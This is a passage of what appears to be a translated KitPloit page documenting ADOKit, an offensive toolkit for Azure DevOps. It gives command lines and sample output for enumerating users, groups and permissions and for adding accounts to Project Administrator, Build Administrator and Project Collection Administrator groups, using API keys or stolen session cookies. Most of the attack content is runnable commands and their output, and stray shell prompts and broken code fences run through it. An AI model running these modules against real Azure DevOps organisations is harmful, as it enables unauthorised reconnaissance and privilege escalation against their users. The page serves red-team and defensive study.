    ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 15:37:11 Finished execution of listsshkey

删除 SSH 密钥

使用场景

删除给定用户在 Azure DevOps 实例中的 SSH 密钥。

语法

提供 removesshkey 模块,以及任何相关的身份验证信息和 URL。此外,在 /id: 参数中提供 SSH 密钥的 ID。这将输出 SSH 密钥是否已被删除,然后在执行删除后列出用户当前的活跃 SSH 密钥。

ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...

ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...

示例输出```

C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97

================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 1:50:08 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.

root@kitploit:~
                          SSH Key ID |                           Name |                          Scope |                    Valid Until |            Public SSH Key

root@kitploit:~
ec056907-9370-4aab-b78c-d642d551eb98 |                   test-ssh-key |                      app_token |            4/3/2024 3:13:58 PM |   ...nDoYAPisc/pEFArVVV0=

4/3/23 17:50:09 Finished execution of removesshkey

root@kitploit:~
### 列出用户

#### 使用场景

> *列出 Azure DevOps 实例中的用户*

#### 语法

提供 `listuser` 模块,以及相关的身份验证信息和 URL。这将输出用户名、显示名称和用户主体名称。

`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listuser
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:12:07 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                          Username |                                       Display Name |                                                UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                             user1 |                                             User 1 |             [email protected]
                                          jsmith |                                        John Smith |          [email protected]
                                           rsmith |                                       Ron Smith |           [email protected]
                                             user2 |                                             User 2 |             [email protected]

4/3/23 20:12:08 Finished execution of listuser

搜索用户

使用场景

在 Azure DevOps 实例中搜索指定用户

语法

在 /search: 命令行参数中提供 searchuser 模块和搜索条件,同时包含相关的身份验证信息和 URL。这将输出匹配的用户名、显示名称和用户主体名称。

ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user

ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user

示例输出```

C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"

================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:12:23 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                      Username |                                       Display Name |                                                UPN

root@kitploit:~
                                         user1 |                                             User 1 |             [email protected]
                                         user2 |                                             User 2 |             [email protected]

4/3/23 20:12:24 Finished execution of searchuser

root@kitploit:~
### 列出团队

#### 用例

> *列出 Azure DevOps 实例中的团队*

#### 语法

提供 `listteam` 模块以及任何相关的身份验证信息和 URL。这将输出团队名称、项目名称和团队描述。

`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`

`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`

#### 示例输出```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization

==================================================
Module:         listteam
Auth Type:      API Key
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 9:48:26 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                        Project |                                        Description
----------------------------------------------------------------------------------------------------------------------------------------
                     ProjectWithMultipleRepos Team |       ProjectWithMultipleRepos |                          The default project team.
                                 MaraudersMap Team |                   MaraudersMap |                          The default project team.
                                 TestProject2 Team |                   TestProject2 |                          The default project team.
                                  TestProject Team |                    TestProject |                          The default project team.

搜索团队

使用场景

在 Azure DevOps 实例中搜索特定团队

语法

在命令行参数 /search: 中提供 searchteam 模块和搜索条件,同时提供相关的身份验证信息和 URL。这将输出团队名称、项目名称和团队描述。

ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam

ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam

示例输出```

C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test

================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization

Timestamp: 5/31/2024 9:48:32 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                     Team Name |                        Project |                                        Description

root@kitploit:~
                             TestProject2 Team |                   TestProject2 |                          The default project team.
                              TestProject Team |                    TestProject |                          The default project team.
root@kitploit:~
### 获取团队成员

#### 使用场景

> *获取指定团队的成员*

#### 语法

在 `/search:` 命令行参数中提供 `getteammembers` 模块和搜索条件,以及相关的身份验证信息和URL。这将输出团队名称、团队成员用户名和团队成员显示名称。

`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`

`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`

#### 示例输出```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"

==================================================
Module:         getteammembers
Auth Type:      API Key
Search Term:    dev team
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      5/31/2024 10:45:11 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                         Team Name |                                     Username |                                  User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
                                          Dev Team |             [email protected] |                                             User 1
                                          Dev Team |             [email protected] |                                              user3
                                          Dev Team |             [email protected] |                                              user4

列出组

使用场景

列出 Azure DevOps 实例中的组

语法

提供 listgroup 模块以及任何相关的身份验证信息和 URL。这将输出用户主体名称、显示名称和组描述。

ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName

ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName

示例输出```

C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization

================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/3/2023 4:48:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                           UPN |                                       Display Name |                                        Description

root@kitploit:~
                    [TestProject]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
           [TestProject2]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users |                               Project-Scoped Users | Members of this group will have limited visibility to  organization-level data

[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management

---SNIP---

4/3/23 20:48:46 Finished execution of listgroup

root@kitploit:~
### Search Groups

#### Use Case

> *在 Azure DevOps 实例中搜索给定组*

#### Syntax

提供 `searchgroup` 模块,并在 `/search:` 命令行参数中输入搜索条件,同时提供相关的认证信息和URL。这将输出匹配组的用户主体名称、显示名称和描述。

`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`

`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`

#### Example Output```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"

==================================================
Module:         searchgroup
Auth Type:      API Key
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/3/2023 4:48:41 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                                                   UPN |                   Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
                                   [TestProject2]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [ProjectWithMultipleRepos]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                  [TestProject]\Release Administrators |         Release Administrators | Members of this group can perform all operations on Release Management
                                    [TestProject]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                                 [MaraudersMap]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                 [TestProject2]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
           [YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
                     [ProjectWithMultipleRepos]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.
                                   [MaraudersMap]\Build Administrators |           Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
     [YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
                                  [TestProject]\Project Administrators |         Project Administrators | Members of this group can perform all operations in the team project.

4/3/23 20:48:42 Finished execution of searchgroup

获取组成员

用例

列出指定组的所有组成员

语法

提供 getgroupmembers 模块以及要在 /group: 命令行参数中搜索的组,同时附带相关的认证信息和 URL。这将输出匹配组的用户主体名称,以及该组的每个组成员,包括用户的邮件地址和显示名称。

ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"

ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"

示例输出```

C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"

================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 9:11:03 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 1
                               [TestProject2]\Build Administrators |             [email protected] |                                             User 2
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |           [email protected] |                                       Ron Smith
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 1
                             [TestProject2]\Project Administrators |             [email protected] |                                             User 2
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
                 [ProjectWithMultipleRepos]\Project Administrators | [email protected] |                                      Brett Hawkins
                               [MaraudersMap]\Build Administrators | [email protected] |                                      Brett Hawkins

4/4/23 13:11:09 Finished execution of getgroupmembers

root@kitploit:~
### 获取项目权限

#### 用例

> *列出拥有某个项目权限的用户列表。*

#### 语法

提供 `getpermissions` 模块以及需要在 `/project:` 命令行参数中搜索的项目,同时附带相关的身份验证信息和 URL。该操作将输出匹配组的用户主体名称、显示名称和描述。此外,还会输出每个组的组成员。

`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`

`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`

#### 示例输出```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"

==================================================
Module:         getpermissions
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 9:11:16 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

                                               UPN |                                       Display Name |                                        Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
               [MaraudersMap]\Build Administrators |                               Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
                       [MaraudersMap]\Contributors |                                       Contributors | Members of this group can add, modify, and delete items within the team project.
                  [MaraudersMap]\MaraudersMap Team |                                  MaraudersMap Team |                          The default project team.
             [MaraudersMap]\Project Administrators |                             Project Administrators | Members of this group can perform all operations in the team project.
                [MaraudersMap]\Project Valid Users |                                Project Valid Users | Members of this group have access to the team project.
                            [MaraudersMap]\Readers |                                            Readers | Members of this group have access to the team project.


[*] INFO: Listing group members for each group that has permissions to this project



GROUP NAME: [MaraudersMap]\Build Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Contributors

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 1
                                           [MaraudersMap]\Contributors |             [email protected] |                                             User 2


GROUP NAME: [MaraudersMap]\MaraudersMap Team

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                      [MaraudersMap]\MaraudersMap Team | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Administrators

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins


GROUP NAME: [MaraudersMap]\Project Valid Users

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------


GROUP NAME: [MaraudersMap]\Readers

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                                [MaraudersMap]\Readers |          [email protected] |                                        John Smith

4/4/23 13:11:18 Finished execution of getpermissions

添加项目管理员

使用场景

将用户添加到指定项目的“项目管理员”组中。

语法

使用 addprojectadmin 模块,并提供 /project: 和 /user: 参数,将指定用户添加到指定项目的 Project Administrators 组中。同时,还需提供相关的身份验证信息和 URL。有关执行此操作所需的权限,请参阅模块详细信息表。

ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

示例输出```

C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 2:52:45 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                             [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins
                             [MaraudersMap]\Project Administrators |             [email protected] |                                             User 1

4/4/23 18:52:47 Finished execution of addprojectadmin

root@kitploit:~
### 移除项目管理员

#### 用例

> *从给定项目的 Project Administrators 组中移除用户。*

#### 语法

使用 `removeprojectadmin` 模块,并指定 `/project:` 和 `/user:` 参数,以将指定用户从指定项目的 `Project Administrators` 组中移除。同时,需提供相关的认证信息和 URL。有关执行此操作所需的权限,请参阅 [模块详情表](#模块详情表)。

`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### 示例输出```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removeprojectadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:19:43 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
                                 [MaraudersMap]\Project Administrators | [email protected] |                                      Brett Hawkins

4/4/23 19:19:44 Finished execution of removeprojectadmin

添加构建管理员

使用场景

将用户添加到指定项目的“构建管理员”组中。

语法

使用 addbuildadmin 模块,并附带 /project: 和 /user: 参数,将指定用户添加到指定项目的“构建管理员”组。此外,还需提供相关的认证信息和 URL。执行此操作所需的权限请参见 模块详情表。

ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"

示例输出```

C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 3:41:51 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
                               [MaraudersMap]\Build Administrators |             [email protected] |                                             User 1

4/4/23 19:41:55 Finished execution of addbuildadmin

root@kitploit:~
### 移除构建管理员

#### 使用场景

> *将指定用户从给定项目的“构建管理员”组中移除。*

#### 语法

提供 `removebuildadmin` 模块以及 `/project:` 和 `/user:` 参数,指定要从给定项目的 `Build Administrators` 组中移除的用户。此外,还需提供任何相关的认证信息和 URL。有关执行此操作所需的权限,请参见 [模块详情表](#模块详情表)。

`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`

#### 示例输出```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"

==================================================
Module:         removebuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 3:42:10 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/4/23 19:42:11 Finished execution of removebuildadmin

添加集合管理员

使用场景

将用户添加到项目集合管理员组。

语法

提供 addcollectionadmin 模块以及 /user: 参数,用于将指定用户添加到 Project Collection Administrators 组。此外,还需提供相关的认证信息和 URL。有关执行此操作所需的权限,请参阅模块详情表。

ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

示例输出```

C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/4/2023 4:04:40 PM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
       [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith
       [YourOrganization]\Project Collection Administrators |             [email protected] |                                             User 1

4/4/23 20:04:43 Finished execution of addcollectionadmin

root@kitploit:~
### Remove Collection Admin

#### 使用场景

> *从项目集合管理员组中移除一个用户。*

#### 语法

提供 `removecollectionadmin` 模块以及 `/user:` 参数,指定要从 `Project Collection Administrators` 组中移除的用户。同时,提供相关的身份验证信息和 URL。查看[模块详细信息表](#module-details-table)了解执行此操作所需的权限。

`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 示例输出```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/4/2023 4:10:35 PM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
           [YourOrganization]\Project Collection Administrators |          [email protected] |                                        John Smith

4/4/23 20:10:38 Finished execution of removecollectionadmin

添加集合构建管理员

使用场景

将用户添加到项目集合构建管理员组。

语法

提供 addcollectionbuildadmin 模块以及 /user: 参数,指定要添加到 Project Collection Build Administrators 组的用户。同时,提供相关身份验证信息和 URL。请参阅 模块详情表 了解执行此操作所需的权限。

ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

`ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"```` C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:21:39 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
 [YourOrganization]\Project Collection Build Administrators |             [email protected] |                                             User 1

4/5/23 12:21:42 Finished execution of addcollectionbuildadmin

root@kitploit:~
### 删除集合构建管理员

#### 用例

> *将用户从项目集合构建管理员组中移除。*

#### 语法

提供 `removecollectionbuildadmin` 模块及 `/user:` 参数,指定需要从 `Project Collection Build Administrators` 组中移除的用户。此外,还需提供相关的认证信息和 URL。关于执行此操作所需的权限,请参阅[模块详情表](#模块详情表)。

`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 示例输出```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildadmin
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:21:59 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:02 Finished execution of removecollectionbuildadmin

添加集合构建服务账户

使用场景

将用户添加到项目集合构建服务账户组。

语法

提供 addcollectionbuildsvc 模块以及 /user: 参数,用于将指定用户添加到 Project Collection Build Service Accounts 组。此外,还需提供相关的身份验证信息和 URL。有关执行此操作所需的权限,请参见 模块详情表。

ADOKit.exe addcollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

示例输出```

C:>ADOKit.exe addcollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionbuildsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 8:22:13 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

[YourOrganization]\Project Collection Build Service Accounts | [email protected] | User 1

4/5/23 12:22:15 Finished execution of addcollectionbuildsvc

root@kitploit:~
### 移除集合生成服务帐户

#### 使用场景

> *将用户从项目集合生成服务帐户组中移除。*

#### 语法

使用 `removecollectionbuildsvc` 模块,并附上 `/user:` 参数指定要移除的用户,将其从 `Project Collection Build Service Accounts` 组中删除。此外,还需提供相应的身份验证信息和 URL。执行此操作所需的权限请参阅 [模块详情表](#模块详情表)。

`ADOKit.exe removecollectionbuildsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 示例输出```
C:\>ADOKit.exe removecollectionbuildsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionbuildsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 8:22:27 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Build Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

4/5/23 12:22:28 Finished execution of removecollectionbuildsvc

添加集合服务帐户

使用场景

向项目集合服务帐户组添加用户。

语法

提供addcollectionsvc模块以及/user:参数,用于将指定用户添加到Project Collection Service Accounts组。此外,还需提供相关认证信息和URL。有关执行此操作所需的权限,请参阅模块详情表。

ADOKit.exe addcollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"

ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"

示例输出```

C:>ADOKit.exe addcollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

================================================== Module: addcollectionsvc Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization

Timestamp: 4/5/2023 11:21:01 AM

[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.

[*] INFO: Attempting to add user1 to the Project Collection Service Accounts group.

[+] SUCCESS: User successfully added

root@kitploit:~
                                                             Group |                                       Mail Address |                                       Display Name

root@kitploit:~
     [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith
     [YourOrganization]\Project Collection Service Accounts |             [email protected] |                                             User 1

4/5/23 15:21:04 Finished execution of addcollectionsvc

root@kitploit:~
### 移除集合服务帐户

#### 使用场景

> *从项目集合服务帐户组中移除用户。*

#### 语法

提供 `removecollectionsvc` 模块以及要从中移除的用户的 `/user:` 参数,该用户将从 `Project Collection Service Accounts` 组中移除。此外,还需提供任何相关的认证信息和 URL。有关执行此操作所需的权限,请参阅[模块详细信息表](#module-details-table)。

`ADOKit.exe removecollectionsvc /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`

`ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`

#### 示例输出```
C:\>ADOKit.exe removecollectionsvc /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"

==================================================
Module:         removecollectionsvc
Auth Type:      Cookie
Search Term:
Target URL:     https://dev.azure.com/YourOrganization

Timestamp:      4/5/2023 11:21:43 AM
==================================================


[*] INFO: Checking credentials provided

[+] SUCCESS: Credentials provided are VALID.


[*] INFO: Attempting to remove user1 from the Project Collection Service Accounts group.

[+] SUCCESS: User successfully removed

                                                                 Group |                                       Mail Address |                                       Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
         [YourOrganization]\Project Collection Service Accounts |          [email protected] |                                        John Smith

